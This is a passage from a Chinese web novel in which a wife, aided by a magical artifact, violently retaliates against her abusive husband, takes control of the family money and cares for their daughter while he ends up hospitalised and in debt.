宋金刚的脖子上青筋鼓起,他死死地瞪着云灵,咬牙切齿地吼叫:“闭嘴!你说,你是不是跟哪个野男人好上了?有了底气,才敢跟我动手的是不是?是不是?”
云灵不为所动,只要宋金刚不提给钱,她便继续揍。她冷冷地说:“问你给不给钱,扯什么?找打是吧?”
宋金刚疯狂地嘶吼:“给你钱去养野男人?你做梦!”
云灵又是拳脚相加,冷笑道:“再说一次,给不给?”
宋金刚眼睛一翻,假装晕了过去。云灵蹲在旁边,冷笑着看着装死的宋金刚。
半晌后,宋金刚眨巴眨巴眼睛,假装缓缓醒来,疑惑地问:“老婆,我怎么躺在地上了?嘶……我的脸怎么有点疼!发生什么事情了?”
云灵温柔地笑了一下,说:“你看你,我说不要你拿钱给我,你非要去拿,结果被茶几绊了一跤,脸摔地上了。还好没骨折,快起来去拿钱吧!我要去接孩子放学了!”
宋金刚的嘴角抽搐了一下,他额头的青筋跳动着,疑惑地问:“是……是吗?有这事?”
云灵笑着看着宋金刚,道:“不然呢?你觉得是怎么回事?”
宋金刚多疑又自私,性子阴狠,赚的钱从来都是现金藏在家里。他信不过机器,觉得数字化的钱不保险。
“好……我去拿!”宋金刚咬着后槽牙,阴沉地看着云灵。
云灵眉毛一挑,侧身站了起来,给宋金刚让了路。宋金刚扶着茶几,龇牙咧嘴地站了起来,捂着烂酸烂疼的肚子,斜了一眼暮云,一瘸一拐地往书房走去。
宋金刚心里,把云灵和他臆想出来的奸夫,翻来覆去地骂了千百遍。
“滴滴----”宋金刚打开了书房的指纹锁,走进去随手就要关上门。云灵立刻摁住房门,直接走了进去。
宋金刚大声喊道:“你给我出去,书房是你能来的地方吗?”
云灵不屑地看了他一眼,说:“嘁,这是我家,我凭什么不能进。快拿钱,我要接孩子去了!”
云灵四处看了看这个书房,装修得颇有文人气息。原主到死都没进过这个书房,一方面是宋金刚不准她进来,另一方面是她进不来。书房被宋金刚安了指纹锁,只有宋金刚自己能打开。
宋金刚指着云灵,表情狰狞:“你-----”
云灵眯着眼看着宋金刚,脸上带微笑:“我怎么了?痛快点,不然-----”
宋金刚的手指哆嗦了一下,他气咻咻地甩了一下手,走到了书桌前。他拉开抽屉,犹豫了一会,抽出两张一百元放在了桌子上。
云灵嗤笑了一声,走到书桌旁,两只手撑在老板椅两边的把手上:“两百块?怎么?今天吃了饭,明天不用吃了?”
宋金刚晃神了一下,马上又大声吼起来,他还在妄图用声音来压制云灵:“两百你还嫌少?你赚了几个子了?你知道钱多难赚吗?”
云灵勾了一下唇角,在他的衣服上擦了擦手指:“呵,我让你拿是给你面子,别给脸不要脸,懂吗?”云灵捏住了他的下巴,笑眯眯地看着他说道。
宋金刚被捏得痛呼一声,摇了一下脑袋,想摆脱云灵的手。
云灵松开了手,转头打开抽屉,把抽屉里的钱全拿走了。她粗略地看了看,大概有四五万的样子。
宋金刚急眼了,拿那么多钱,就像是拿他的命一样:“你给我放下,谁允许你拿那么多的!”
云灵拿着钱就往外走去:“夫妻共同财产,我花我自己应得的那些,没毛病!”
宋金刚咬着牙,拿起书房的高尔夫球杆,使劲地往云灵的后脑勺砸过去:“贱人!”
云灵转身就是一脚,直接把宋金刚踢翻了。宋金刚惨叫一声,这次他真的磕到了桌角,直接磕晕过去了。
云灵瞅着他还有气息,脑壳也没冒血,没管他,死不了就行。这样子的渣,总得让他自己尝尝,被家暴是什么滋味!
云灵换了身衣服,背了个小包,把五万多块钱全都塞在了包里。潇洒地出门接闺女去了。
******
“妈妈-----”中心小学的校门口,扎着马尾辫的宋雪儿,开心地跑出了校门。
云灵含笑,目光柔和地注视着雪儿,轻声叮嘱道:“慢些跑,别撞了。”
雪儿怀抱着云灵的腰,面带傻笑,仰首望向母亲,喜悦地说:“妈,您今天真美!”
云灵接过雪儿肩上的书包,搂着她缓步前行,说道:“小嘴真甜,走吧,妈今天带你去吃好吃的。”
雪儿稍显惊讶,犹豫地说:“妈,我们还是回家吃吧,爸要是知道了,我担心……”
云灵轻点雪儿的额头,安慰道:“孩子,别担心,你爸不会有意见的,我们走吧。”
雪儿依然有些忧虑:“可是爸他……会不会生气反悔?”她隐约知道,爸爸有时会对妈妈动粗。夜深人静时,她常听到妈妈在客厅里独自哭泣。有时吃饭时,爸爸一瞪眼,妈妈的筷子便掉落。她也曾见过妈妈脸上的青紫,虽然妈妈说是自己不小心摔倒的,但雪儿心里明白,那一定是父亲干的。
云灵轻拍雪儿的肩膀,安慰道:“别皱眉,别想太多,你还不相信妈吗?”
雪儿转头,望着云灵笑了笑,请求道:“妈,今晚和我睡,好吗?”
“好!”云灵应道。
雪儿开心地跳了起来,云灵看着活泼的女儿,带着她享用了一顿家常小炒,之后又买了冰淇淋和爆米花,一起看了场电影。
电影结束后,云灵在商场为雪儿挑了几件新衣服。母女俩满载而归。
当她们回到小区楼下,雪儿却显得犹豫不前。云灵鼓励道:“别怕,妈在,我们回家吧。”
雪儿担忧地说:“可是……爸好像在家,我们……”
云灵揉了揉雪儿的头,安慰道:“放心,妈已经和你爸商量好了,以后不再吵架,暑假带你去旅游。”
雪儿眼中闪过一丝光芒,怀疑地问:“爸会同意吗?”
云灵点头肯定:“同意了!”
雪儿撒娇地晃了晃云灵的胳膊:“妈,我好爱你,以后每晚都和我睡,好吗?”
“好,以后每晚都和你睡。”云灵笑着答应了。
母女俩回到家中,家中一片漆黑,只有书房透出微弱的灯光。雪儿轻声示意,拉着云灵悄悄进入自己的房间,并迅速锁上门。
云灵轻点雪儿的额头,笑道:“小鬼头,快去洗漱吧!”
雪儿调皮地拿了睡衣便去洗漱了。尽管只有十岁,但她从五岁起就独自睡觉,随着年龄的增长,雪儿越来越懂事,学会了自己照顾自己,希望妈妈能得片刻安宁。
她见妈妈终日忙碌,家中却总有爸爸挑剔之处。雪儿心中对爸爸颇有不满,却不敢说出口。
宋雪儿穿着小花猫睡衣,湿发如丝,显得格外可爱。
云灵拿起吹风机细心地为她吹干头发,宋雪儿嘟嘴晃脚玩耍,不久便沉沉睡去。
云灵调整空调温度,为她盖上一层薄毯,自己则拿起新买的手机,沉浸在游戏的乐趣中。
宋金刚醒来,忍着痛楚为自己涂抹药水,决定暂时不去学校,心情沉重地在书房里沉思。
深夜,宋金刚在家中巡视,寻找云灵无果,愤怒地捶墙,却因疼痛而跳脚。他来到女儿房间外,发现门被反锁,心中暗骂,却不愿失面子而作罢。
宋金刚在床上翻来覆去,难以入眠,最终决定将房门反锁,这才安心睡去。
第二天中午,他因忘记脸上的伤痛而触碰,痛醒后愤怒地起床。他去洗手间洗漱,却从镜子中看到满脸是血的云灵站在身后,惊恐质问:“你你你....你在我后面干什么?”
“我喊了你好几遍,你没回我,我进来找找!”云灵的眼神让宋金刚不寒而栗。“你脸上怎么有...有血!”他惊慌地问。
“哦,我杀了一只鸡,这刀一划拉在它的脖子上,血就飚出来。”
云灵抬起沾满鲜血的手,让宋金刚感到不安。
神祇视万灵如一,这鸡自然也不是真实的,而是幻化出来罢了。不仅如此,连同与宋雪儿吃的佳肴,无一不是神祇宝典幻化的。
午餐时,云灵端上烧焦的红烧鸡块,宋金刚面对这焦黑的菜肴感到难以下咽。
“老公,你吃啊,我辛苦做出来的,你不会不给面子吧?”云灵温柔却带着逼迫语气说道。
“嘶-----老婆你看,我这伤还没好,吃不了,你自己吃吧!”宋金刚试图拒绝。
云灵却不依不饶,夹起焦糊的鸡块放入宋金刚的碗中。
“我说了不吃就不吃,你干什么!!”宋金刚急眼了,筷子摔在桌上,气氛紧张。
云灵轻笑着,突然将宋金刚的脸摁进了红烧鸡块的盘子里。鸡块的焦糊味刺激着他的感官,他痛苦地挣扎着。“看看你,这么大个人了,还要我喂你吃。”云灵语气中带着责怪,手上的力度却丝毫未减。
餐桌上的餐具纷纷落地,发出清脆的破碎声。“哎呀,老公,你怎么这么不小心,多浪费啊。”云灵语气中带着一丝戏谑。
“放开我,老婆!我吃饱了!”宋金刚咬着牙,挣扎着说道。
云灵这才松开了手,微笑着看着满脸狼狈的宋金刚:“看你,吃得满脸都是,这么急干什么,还有很多呢。”她拿起一块脏兮兮的抹布,用力擦拭宋金刚的脸。宋金刚的手颤抖着,想要躲避,却无论如何也躲不开,只能忍着恶心反胃。
“我是你老婆,给你擦脸不是应该的吗?”
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宋金刚只能硬生生地忍着,直到云灵擦完,他的脸上却满是污浊。
“辛苦你了,老婆。”宋金刚勉强挤出一丝笑容。“我现在要去书房办公,你自己先玩会儿吧。”宋金刚急忙说道。
云灵温柔地笑着,“嗯,我等会给你泡茶。”
“不用了,我办公时不吃东西,会影响思路,谢谢你。”宋金刚连忙拒绝。
云灵出门去接女儿宋雪儿时,宋金刚才敢走出书房,匆匆洗脸,寻找食物。
云灵与女儿在外畅享美食,归来时手牵手,闲庭信步,悠然自得。途中,她们还买了两个冰淇淋,以解夏末的炎热。
而宋金刚却在家中苦等,腹中饥饿难耐,仅以牛奶充饥,却难以满足。他坐在客厅,听着时钟的滴答声,心中不由自主地紧张起来。犹豫片刻,他迅速洗漱完毕,回到卧室,将门反锁。
果然,门锁之后,他的心跳渐渐平静。然而,深夜时分,宋金刚在睡梦中感到有人在注视他,惊醒后,发现云灵站在床边,手机的光线映照出她的脸庞,显得格外阴森。
"老公,你怎么了?是做噩梦了吗?"云灵讥嘲问道。
"你...你把手机关掉!"宋金刚惊恐万分,赶紧打开了电灯。
"我明明锁了门...你怎么进来的?"宋金刚疑惑不解,他记得睡前确实反锁了门。
"是吗?我一推就开了啊,或许是你记错了。"云灵面带微笑。
宋金刚连连点头,"是我记错了,辛苦你了。"直到云灵离开,宋金刚这才松了一口气,再次确认门已反锁,这才安心睡去。
第二天一早,宋金刚早早起床,带着行李,悄悄离家,决定去酒店暂避几日。他心中对云灵充满了怀疑,肯定趁他不在时会做出不轨之事。
在酒店,宋金刚用望远镜观察着家中的一举一动,却什么也看不到。他心中焦急,却又无可奈何。
宋金刚在酒店焦急等待,却始终未见云灵的身影,心中的怒火越烧越旺。
夜幕降临,宋金刚终于看到云灵和宋雪儿归来,他的眼神中充满了阴险和怀疑。
云灵回头望向酒店的方向,眼神中满是嘲弄。宋金刚的牙齿咬得咯吱作响,心中对暮云充满了愤怒和怀疑。他感觉云灵似乎能看穿他的心思,甚至在挑衅他。
整夜,他坐在沙发上,抽了三包烟,身上的烟味浓烈得足以熏死一条狗。这一夜,宋金刚思绪万千,心中充满了对云灵的恨意,想象着如何报复这个他认为不忠的女人。然而,一想到可能被背叛,他的心就更加痛苦。
云灵在哄雪儿入睡后,走到书房。毫不费力地打开了指纹锁,她要把剩余的钱都找出来,渣渣痛苦,她就开心。她拿了一个大行李箱,将钱全部装了进去,足有三百万。
第二天,云灵提着大行李箱,带着雪儿出门。宋金刚彻夜未眠,看到云灵手里的行李箱,心中充满了愤怒和怀疑。他穿上衣服,戴上口罩和帽子,从酒店里悄悄跟踪出去。
宋金刚紧紧跟在母女俩后面,他要找出那个所谓的“奸夫”,狠狠的教训云灵。
但他的跟踪如何瞒得了云灵?,她故意带着雪儿绕道而行,甩掉了他。
云灵在银行存入了300万,没有选择定期存款,因为她打算用来炒股,给雪儿的未来提供更好的生活条件。
宋金刚在街道上四处寻找,像一只无头苍蝇。他几次误以为找到了云灵,但每次都发现不是。当他看到云灵从拐角处走出来,手里的行李箱不见了,他更加坚信云灵一定将行李箱放在了那个男人的那里。
云灵无视宋金刚的存在,她一整天都在享受着生活:看电影、逛街、抽空看股市。而宋金刚则疲惫不堪,一整天都在跟踪云灵,连午饭都没来得及吃。
下午,云灵选了一只股票,投入了三百万。
接雪儿放学的时间快到了,云灵去商场取回了寄存的行李箱,里面装满了她为雪儿买的衣服和鞋子。
宋金刚看到云灵从商场里提着行李箱走出来,心中充满了疑惑。他猜测那个男人可能在商场工作,两人故意这样掩人耳目。宋金刚愤怒地瞪了商场一眼,继续跟踪云灵。
接连几天,宋金刚每天都早早地跟踪母女俩出门,直到晚上才回来。他的腿都走细了一圈,但始终没有抓到那个所谓的“奸夫”。好不容易熬到了周六,宋金刚有感觉,这对“狗男女”肯定会在周末见面。
周六这天一大早,云灵就和雪儿穿得漂漂亮亮的游玩去了。宋金刚也早早地起床,准备继续他的跟踪行动。他心中有一股强烈的预感,今天一定能有所发现。
云灵带着雪儿去了一家大型购物中心,那里人流如织,宋金刚很快就跟丢了。他焦急地在商场里寻找,但云灵和雪儿的身影早已消失在人群中。
宋金刚在商场里转了几圈,最后无奈地坐在了一家咖啡店外的长椅上。他感到疲惫不堪,同时也意识到自己可能被云灵耍了。
18. 家暴世界
云灵带着雪儿游玩了整整一天,直到夜幕降临,两人才慢悠悠地晃回家去。
宋金刚则在角落里忍受着蚊虫的折磨,满身的蚊子包让他怨愤不已,却依旧不死心地跟在母女俩身后。他坚信,那个所谓的奸夫不可能忍得住这么多天不出现。
宋金刚目送着母女二人进了小区,这才匆匆地回了酒店。他立刻调整好望远镜,紧紧观察着家里。
雪儿今天玩得特别开心,早已疲惫不堪,洗漱完后便嘟囔着睡熟了。云灵看着雪儿睡着后,她拿着手机,躺在客厅的沙发上,美滋滋地打起了游戏。
宋金刚一直在盯着家里,他看到云灵躺在沙发上玩手机。只是,这个手机怎么看起来有点大?他拧着眉,调整了望远镜的焦距,仔细地观察。当他看清楚云灵的新手机后,心中涌起了怒火。这个手机居然要一万多,他再也忍不住了。
宋金刚的嘴巴像是机关枪一样,不停地咒骂着。他的忍耐已经到了极限,他怀疑云灵在装疯卖傻,就为了支开他,好和奸夫约会。他的怒火快要将自己燃烧,他一分钟也等不了了。今晚,他必须要让云灵知道他的厉害。
宋金刚心里盘算着要怎么恐吓云灵,让云灵像以前那样,打不还手骂不还口。他收起行李,连夜退了房,怒气冲冲地回到了家门口。
宋金刚记得,以前每次开门回来,云灵都会过来跪着给他换拖鞋。这次,他在门口等了一分钟,都没人过来。他气呼呼地脱掉鞋子,把行李箱往地上一扔,发出了巨大的声响。
云灵躺在沙发上,抬了抬眉毛,她早在这个贱男人回来之前,就让神祇宝典把雪儿的房间设了道结界,任他多大声响,房间内安静如斯。
宋金刚穿着拖鞋,走到客厅里,阴沉地盯着沙发上的云灵。宋金刚拧着眉,压制着心里的怒火,用低沉的声音说道,“云灵,我回来了你没听见吗?”
云灵冷着脸没理他,继续玩游戏。宋金刚咬牙切齿地说道,“我跟你说话你没听到吗?聋了吗?嗯?”
云灵冷哼了一声,无视疯狗,继续玩自己的。宋金刚冷冷地看着云灵,“会说话吗?哑巴了?啊!!!看着我,你看着我!!!”他边说边冲过去,伸着手要抓云灵的脖子。
云灵眼皮子都没抬一下,双手稳稳地打着手机游戏,直接一脚将宋金刚直接踹飞出去。他摔在了地上,撞到了茶几的边边,把茶几上的东西扫掉了地上。
宋金刚惨叫一声,捂着胸口咳嗽了几声,愤怒地爬了起来。“云灵!!!你吃错药了是不是!啊!!胆大了是不是!啊!!你给我等着!”宋金刚瞪着云灵,指着她怒吼着。
云灵翻了个白眼,双手在手机屏幕上点个不停。
“我特么让你玩手机,你说,这个手机哪来的,谁给你的?啊!!”宋金刚面目狰狞地盯着云灵,抓起旁边的遥控器,往她的手机上砸了过去。
云灵刚好打完了这一局游戏,伸手接住了遥控器。“你瞎了?新买的看不出来吗?”说完,她把手里的遥控器甩了回去。遥控器直飞宋金刚的鼻子,准确无误地砸在了鼻子上面。宋金刚本能地惨叫了一声,一只手捂住了鼻子,鼻血顺着他的手心哗啦啦地往下流了出来。
“好,你行,你别后悔!”宋金刚愤怒地踹了茶几一脚,大步地往卫生间跑去。鼻血滴滴答答地滴了一路。
手机里的消息响个不停。队友们喊云灵再开一局,暮云回了一句:有事,明天再玩,就直接下线了。
“云灵,你给我滚进来!”宋金刚在卫生间里,鬼喊鬼叫着。云灵本来正准备进去收拾他呢,他这么一喊,她就不打算进去了。要滚也是宋金刚滚出来。
“你别给我装聋子,听到没有,滚进来!”宋金刚又嘶吼了一声。他看着镜子里红肿的鼻尖,气得就想撕碎云灵。鼻血止都止不住,一直在流个不停。宋金刚捏着鼻子,脖子上的青筋都气得爆了起来。
十分钟后,宋金刚终于止住了鼻血,他沉着脸走了出来。“云灵,你说,你有没有错?”宋金刚指着自己的鼻子,眯眼看着云灵。
云灵扯了扯嘴角,翘着腿坐在沙发上。“有你大爷的错!”
“你-----你个臭婊子,敢给我戴绿帽子,还敢用遥控器扔我,是不是那个狗男人给你撑腰了!你胆子就大了是不是?你说,那个野男人到底是谁?你们约了几次了?我告诉你,我都看到了,你给我老实说出来!不然我要那个狗男人的命!”宋金刚气得疯狂地怒骂道。
他觉得云灵现在敢反抗,就是因为有野男人撑腰了。看看,野男人连一万多的手机都舍得给云灵买,说没关系,他才不信!只是他不知道那个野男人到底是谁,所以他故意说看到了,想诈一诈云灵的话。
“哟,看到了怎么不冲上去打呀,回家里来吆五喝六的干什么,没种的东西!”云灵鄙视地斜了宋金刚一眼。
“我打死你个贱人!”宋金刚哪里受得了这样的眼神,他握着拳头就朝着云灵冲了过去。
云灵轻松捏住宋金刚的拳头,往前一拉,把他摔在了地上,摁住宋金刚,邦邦几拳头就打了下去。
“啊----你居然敢打我,你个疯女人,你给我滚!”宋金刚龇牙咧嘴的,眉毛都气成了倒三角。
云灵把宋金刚摁得紧紧的,他说一句就邦邦打几拳下去,那手劲还是收着,否则她一拳下去,打穿他的身体不用太轻松。
“噗-----”云灵几拳下去后,宋金刚就喷出来一大口血。他的手指在地板上使劲地抠着,咬牙切齿地怒骂着,“疯女人,我掐死你!!掐死你!!!”
云灵听着宋金刚逼逼赖赖的,直接卸掉了他的下巴。顺带的,把宋金刚的两个胳膊也卸了。
“啧啧,瞧瞧我这手艺,去做个中医也不错啊,卸下巴卸胳膊的那是真准!”云灵美滋滋地夸了自己一句。
宋金刚张着大嘴,嘴里的哈喇子直往下流,眼珠子瞪得都要掉出来了。
“啪------”云灵甩了宋金刚一巴掌,“你在用什么眼神看我,想死了是不是?”宋金刚眼神闪躲了一下,还没好全乎的脸颊,再一次肿了起来。
“啪啪啪-----”云灵又是连甩了几巴掌。宋金刚的脸蛋子,瞬间肿得跟个猪头一样了。大大的眼睛已经成了小眯眯眼,再怎么使劲瞪,眼珠子也瞪不出来了。
“嗯!你不是喜欢家暴吗?那我就让你好好尝尝家暴的滋味,好不好?”云灵温柔地看着宋金刚,笑的眼睛都眯了起来。
宋金刚的两条腿倒腾了一下,往后退了一腚子,快速地摇了摇头。
“哦!你同意了啊?那行,我们一样一样试哦,不着急的吧?”云灵嘴角一勾,散发出了猎人的微笑。
宋金刚的脑袋都快摇成拨浪鼓了,他的心里在呐喊:疯女人,我没点头啊!
云灵不顾宋金刚疯狂摇动的脑袋,直接一把抓住了他的小短发。虽然不长,但足够她抓住。只要不是秃头,云灵就有办法抓住他的头发。
云灵毫不费劲地抓着宋金刚的头发,在家里转了一圈。宋金刚感觉天灵盖都要被掀掉了。云灵在他眼前,一根一根地扔着手心里的头发,像个变态一样。
宋金刚眼泪鼻涕口水直往下流,几乎淹没了自己的脸。宋金刚摇着头,鼻涕眼泪都甩飞了。
云灵抓住他的头发,哐哐哐就往地板上砸。宋金刚凄惨地嚎叫,云灵砸了数下,他就晕过去了。
云灵从冰箱里拿了一瓶冰水,浇在了宋金刚的脑袋上。宋金刚被冰的一激灵,醒了过来。他双眼哀求地看着云灵,企图唤起她的爱。云灵冷笑,看出他有话要说,伸手把他的下巴装了回去。
宋金刚立刻跪在地上,磕头,“老婆,我错了,我真的错了,我以前就是个畜生,求你原谅我,我们重新开始,好不好!”“老婆,我是真的爱你的啊,我太爱你了,才会那么生气的,求你,原谅我吧,我不能没有你,以后再也不会打你了,真的!”他痛哭流涕地忏悔。
云灵一脚踩在他的脑袋上,让他的脸直怼地板,“现在道歉,晚了!”
“啊啊——轻点,老婆,我错了,求你原谅我。”
“以后别叫我老婆,听着怪恶心的!”云灵一脚踢在他胸口。
“啊——”宋金刚吐出一口血,惨叫一声,再次晕过去。云灵把他的胳膊归位,拖他的腿,把他扔回卧室地上,关好房门。
省得早上被雪儿看到。她可是跟雪儿约好了,明天带她去游乐园玩一整天。
宋金刚直到中午才从昏迷中醒来,全身疼痛难忍,仿佛被车碾过。他龇牙咧嘴地撑起身体,气喘吁吁地靠在床边。惊喜地发现,胳膊能动了,但他连呼吸都全身疼痛。他摁了摁胸口,"嘶——"地冷抽一口气,怀疑肋骨断了。
颤抖着手,宋金刚在口袋里摸索出手机,拨打了120。大城市的效率果然快,十几分钟后,救护车就到了楼下。他想站起来,却发现胸腔的疼痛让他直不起腰。靠着坚强的意志,他像狗一样爬到门口,费了九牛二虎之力,终于打开了门。救护人员赶到,连忙把他抬上担架。
"门——门还没关!"宋金刚在这种时候还记得要关好家门。医护人员关好门后,告诉他情况危险,不要抬头。
宋金刚看着大门关好,重重地呼出一口气。到医院后,他被立刻安排拍片,然后推进手术室。果然,肋骨骨折了三根,其中一根差点戳到心脏。
医生告诉他,必须立刻手术,否则有生命危险。宋金刚从牙缝里挤出一个字,"好!"心里却恨得咬牙切齿。
医生催促他提供家属联系方式,宋金刚心塞了,云灵换了手机号也没告诉他。在面子和生命之间,他选择了生命,哆嗦着说出了张校长的号码。
手术结束后,宋金刚醒来,张校长坐在床边,一脸心痛。他心疼垫出去的医药费,三万多,好好的周末也被毁了。
张校长问他是何原因造成这样?宋金刚编了个理由,说是车位被占,起了争执,结果撞车头上了。张校长气愤,要报警,宋金刚却摇头,称担心惹怒对方。
张校长恨铁不成钢,被人打成这样,还不肯报警。宋金刚勉强笑道,"多一事不如少一事,医保报一下,也不会花很多。等我出院,一定要去领导家里感谢一番,您这真的是我的救命恩啊!"
张校长虽然爱财,但也被感动了。
宋金刚乘机继续说,"这个世道,哪里有那么多人愿意给你搭把手哦,再说了,您这哪里是搭把手啊,
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那是在救命,是大义!"张校长虽然内心鄙视,但还是十分享受他的奉承。
张校长出了医院,心里暗骂:这都什么事啊,白白浪费了一下午,还搭了三万块钱。虽然宋金刚说会还,但谁知道他什么时候出院。
张校长越想越气,决定去宋金刚家,告诉他的家属,今天必须把钱要回来。但他在门口等到晚上八点,都没人回来。张校长气呼呼地回家,家里还有个母老虎等着他。
云灵和雪儿回家时,夜色已深。雪儿在出租车里早已沉沉睡去,云灵轻手轻脚地将她抱回。雪儿这一天玩得筋疲力尽,洗澡时连眼皮都不曾抬起。
清晨,宋金刚在护士量体温时因疼痛醒来。疼痛过后,他感到极度饥饿,仿佛饥饿在体内肆虐。他无法忍受,向护士订了病号餐,费用从医药费中扣除。他急切地催促,因为饥饿几乎让他失去理智。
护士点头,用对讲机通知后,一份清淡的病号早餐送到了宋金刚面前:杂粮馒头、小米粥和咸菜。他狼吞虎咽,却仍感饥饿。尽管胸口疼痛难忍,他还是硬撑了过去。
宋金刚想到今天是周一,自己不能上班,便给领导打电话请假。他向张校长说明了情况,请求再请假一段时间。张校长表示理解,但也提到了学校调课的困难。宋金刚提出自己的课往后调,愿意一周多上一些课,以减轻领导的负担。
张校长答应尽量帮忙调整,但也提醒宋金刚尽快回学校,因为学生即将期末考试,影响不好。宋金刚答应一旦出院就回学校,感谢并麻烦了张校长。
挂断电话后,宋金刚心中暗骂。他原以为自己很快就能出院,却在医院住了两个月,欠下巨额医药费。手术费用昂贵,医保不能报销的部分更是加重了负担。
稍微能走动后,宋金刚提高了病号餐的档次,费用也随之增加。张校长的电话中也不乏埋怨。宋金刚无奈,拿出两个月的工资,让张校长请帮忙代课的老师们。
出院时,宋金刚狼狈不堪,没有换洗衣服,一直穿着病号服。他在卫生间里用肥皂搓洗了血迹斑斑的衣服。第二天,他拿着欠费清单,穿着皱巴巴的衣服,一脸纠结地回到了小区楼下。
他在楼下坐了许久,心中憋着气。住院期间,云灵连个电话都没打给他。他决定先走柔情路线,好好忏悔,等伤养好了再说。
他不知道,云灵已经掌握了家里的经济大权,上个月卖掉股票,赚了三千万。雪儿一放假,云灵就带着她去海市度假了。
宋金刚冷着脸上楼,摁了五分钟的门铃,耐心耗尽。他不耐烦地敲门,大声喊云灵开门,却只吵到了邻居。邻居们抱怨,宋金刚尴尬地道歉。
他拨打云灵的电话,发现电量只剩40%。云灵的电话关机,他气愤地踹了墙一脚。
宋金刚瘫坐在家门口,大病初愈的身体虚弱,额头上已开始冒虚汗。他决定不再外出,就守在门口,心想晚上云灵和宋雪儿总会回来的。
他靠着门睡着了,被冻醒时已是晚上八点多。他焦急地拨打云灵的电话,这次很快就接通了。
“云灵,你们什么时候回来?已经晚上八点多了。”宋金刚尽量平心静气地问。
“八点又怎样?夜生活才刚开始呢。”云灵不耐烦地回答。
宋金刚感到胸闷,捂着胸口说:“我在家门口等了很久,我想雪儿了,你们回来吧。”
“嘁,快两个月了,你才想起自己有个女儿,真难得。”云灵嘲讽道。
宋金刚怒火中烧,怒吼道:“云灵!你以后不想要钱花了是不是?你以为拿了我那几万块钱就能花一辈子吗?”
“是吗?那你等着瞧。”云灵冷冷地回道。
电话突然挂断,宋金刚愤怒地摔了手机。邻居们再次被吵出来,不满地抱怨。宋金刚怒不可遏,对着邻居大吼大叫。
两个中年妇女冲上去对宋金刚又挠又抓。大病初愈的宋金刚无力还手,脸上被抓得血迹斑斑。他喷出一大口血,痛得晕了过去。
宋金刚躺在地上,嘴角流血,两家人担心惹出人命,急忙拨打了120。
他刚出院不久,又被迫回到医院。医生见状,几乎要发怒。抢救室的灯光亮起,两家的代表感到了恐惧。幸运的是,宋金刚被抢救了过来,但两家都不愿承担医药费,见他无恙,便偷偷溜走了。
第二天下午,宋金刚苏醒。护士提醒他需要家人交医药费。他脸色苍白,眉头紧锁,感觉胸腔仿佛被货车碾过。
"护士,我是怎么会来到医院的?" 宋金刚问。
"是您的邻居拨打了120送您来的,但他们已经走了。" 小护士同情地看着他。
"走了?他们没付医药费吗?" 宋金刚愤怒地问。
"没有。他们说和您不熟。" 小护士解释。
宋金刚愤怒地握拳敲床,却因用力过猛而牵扯到肋骨,痛得他倒抽一口冷气。
"报警,马上报警,就是那两个人打的我!" 宋金刚怒吼。
两家邻居气愤之下,一家出了一万块钱医药费,再多也不愿意出。他们认为宋金刚本来就有伤,故意和女人吵架,想讹诈他们。
宋金刚直挺挺地躺在床上,无法反驳。他欠医院的药费更多了。
19. 家暴世界
等他出院的时候,已经九月初了。云灵则在八月底带着雪儿回来,准备让雪儿上学了。
张校长开学时多次联系宋金刚,却始终联系不上。他去宋金刚家寻找,却发现人去楼空,仿佛人间蒸发。张校长不知道,宋金刚又住院了。
暑假期间,张校长在家等待宋金刚上门还钱。然而,直到开学,他既未见到宋金刚,也未接到任何电话,这让他在家中饱受妻子的挤兑。
张校长恨不得直接公示宋金刚因无故旷工已被开除,但他又担心这样一来,宋金刚更不会还他那三万块钱。他气愤地在学校里打听宋金刚的下落,却无人知晓。
自从家门口手机被摔后,宋金刚就被送往医院,与世隔绝。他身无分文,连买个新手机都做不到,还欠下了医院一大笔债务。但宋金刚并未因此亏待自己,他定了最好的病号餐,并请了个护工。护工每天照顾他的饮食起居,他只需躺着休养。
由于他一直没付护工工资,护工看守得很紧,照顾得也格外周到,生怕他不给钱。再次出院时,宋金刚胖了十多斤,可见被照顾得有多好。
护工陪着宋金刚回家,一路上照顾得很贴心。宋金刚特意选在下午五点出院,希望到家时雪儿也差不多回来。有雪儿在,云灵应该不会发疯。
“叮咚----叮咚----”护工不耐烦地再次摁响门铃,已经摁了好几分钟,家里似乎没人。“老板,你家里好像没人!”
宋金刚拧眉:“可能是接孩子的路上堵车了,我们再等会儿吧!”护工无奈地点头,这钱赚得不容易。等到快八点,护工都开始打盹了。云灵这才带着雪儿慢悠悠地回来。
“妈妈,是爸爸!”雪儿一出电梯就看到了门口的宋金刚。云灵微微撇嘴:“嗯,真不容易,还知道回家呢!”
雪儿握住云灵的手,抿了抿嘴唇。这几个月她很少想起爸爸,因为他太严肃,她有点害怕。但妈妈这几个月变了好多,她更喜欢现在的妈妈。这几个月没有爸爸在身边,妈妈变得更加开心,每天带她去玩,陪她学习。
雪儿突然希望没有爸爸就好了,但她知道这样想不是个好孩子,也不孝顺。尽管如此,她还是控制不住自己的想法。“爸爸!”尽管不情愿,雪儿还是叫了一声。
打盹的宋金刚听到声音,立刻睁开眼睛:“你们还知道回来啊,几点了!”雪儿被他的吼声吓得躲到了云灵身后。
“你吼什么,吓着孩子了,有毛病,一边去。”云灵瞪了宋金刚一眼,安抚着宋雪儿。
宋金刚吼完就后悔了,他还没完全清醒,话就冲口而出。他知道自己现在不能惹云灵,身体经不起折腾。“我...我没吼,就是刚睡醒,有点迷糊。雪儿,爸爸不是故意的,别害怕。”宋金刚试图用温柔的笑容安抚宋雪儿,却没想这一笑反而让宋雪儿哆嗦了一下。
墙角的护工这时也醒了,憨笑着站起来,“老板娘回来了。”
云灵看着这个突然出现的人。“你是谁?”
护工搓了搓手,“我在医院照顾老板,这护工费还没结清呢。”
云灵点头:“哦,让他给你钱,该多少就多少。”
云灵打开家门,宋金刚紧随其后,担心被关在外面。护工站在门口,不好意思进屋。
“进来吧,不用脱鞋。”云灵招呼。
“不用,我在门口等就行。”护工连连摆手。
“进来吧,天热,我要关门开空调了。”云灵把护工拉进屋,关上门。
护工不安地坐在沙发角,希望早点结账离开。云灵递给他一瓶可乐,“喝点水,别客气。”
“谢谢。”护工接过,确实渴了。
云灵转向宋金刚,“还不赶紧给人钱,傻站着干什么!”然后对宋雪儿说,“回房间洗漱,写作业,早点睡。”雪儿点头,跑回房间。
宋金刚咬了咬牙,回卧室拿钱。云灵冷哼,这男人藏钱的地方真多。
几分钟后,宋金刚拿着钱出来。护工眼睛紧盯着,呼吸急促。宋金刚把钱放在茶几上,“小王,第一个月8000,第二个月5000,一共一万三,对吧。”
小王点头,“没错。”
宋金刚点出一万三给小王。小王数了两遍,满意地离开。
